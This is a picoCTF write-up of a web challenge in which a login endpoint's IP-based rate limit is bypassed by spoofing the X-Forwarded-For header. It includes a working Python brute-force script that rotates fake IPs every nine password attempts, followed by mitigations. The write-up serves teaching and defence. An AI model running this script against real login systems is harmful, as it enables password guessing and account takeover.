picoCTF · picoGym Web Exploitation Medium 200 pts

Crack the Gate 2 — X-Forwarded-For Rate Limit Bypass

OWASP A07 — Identification and Authentication Failures

Vulnerability Overview

The login endpoint implemented IP-based rate limiting but trusted the client-supplied X-Forwarded-For header to determine the client's IP address. An attacker can set this header to any arbitrary value, effectively rotating identities and resetting the rate limiter counter on each batch of attempts.

Attack Design

Given a known email, a 20-entry password wordlist, and knowledge that the system trusts X-Forwarded-For, the approach was straightforward: rotate to a new fake IP every 9 requests (just below the lockout threshold) and iterate through the password list.

import requests, random

def fake_ip():
    return f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"

url = "http://[target]/login"
ip = fake_ip()

with open("passwords.txt") as f:
    for i, line in enumerate(f):
        if i % 9 == 0:
            ip = fake_ip()  # rotate before hitting threshold
        headers = {"X-Forwarded-For": ip}
        data = {"email": "ctf-player@picoctf.org", "password": line.strip()}
        r = requests.post(url, headers=headers, data=data)
        if "picoCTF" in r.text:
            print(f"Found: {line.strip()}")
            break
ControlImplementation
Account-based lockoutLock out by username/email, not IP — an attacker can rotate IPs but not the target account
Validate X-Forwarded-For sourceOnly trust the header when it originates from a known trusted proxy IP; strip it otherwise
CAPTCHA after N failuresIntroduces a human verification step that automated scripts cannot pass at scale
Key Insight: IP-based rate limiting is a weak control. IPs are trivially spoofable via headers in misconfigured proxy setups, and rotatable in the real world via VPNs or residential proxies. Rate limiting tied to account identity (username or email) is significantly harder to bypass because the attacker cannot change the target credential.
Flag See challenge on picoCTF picoGym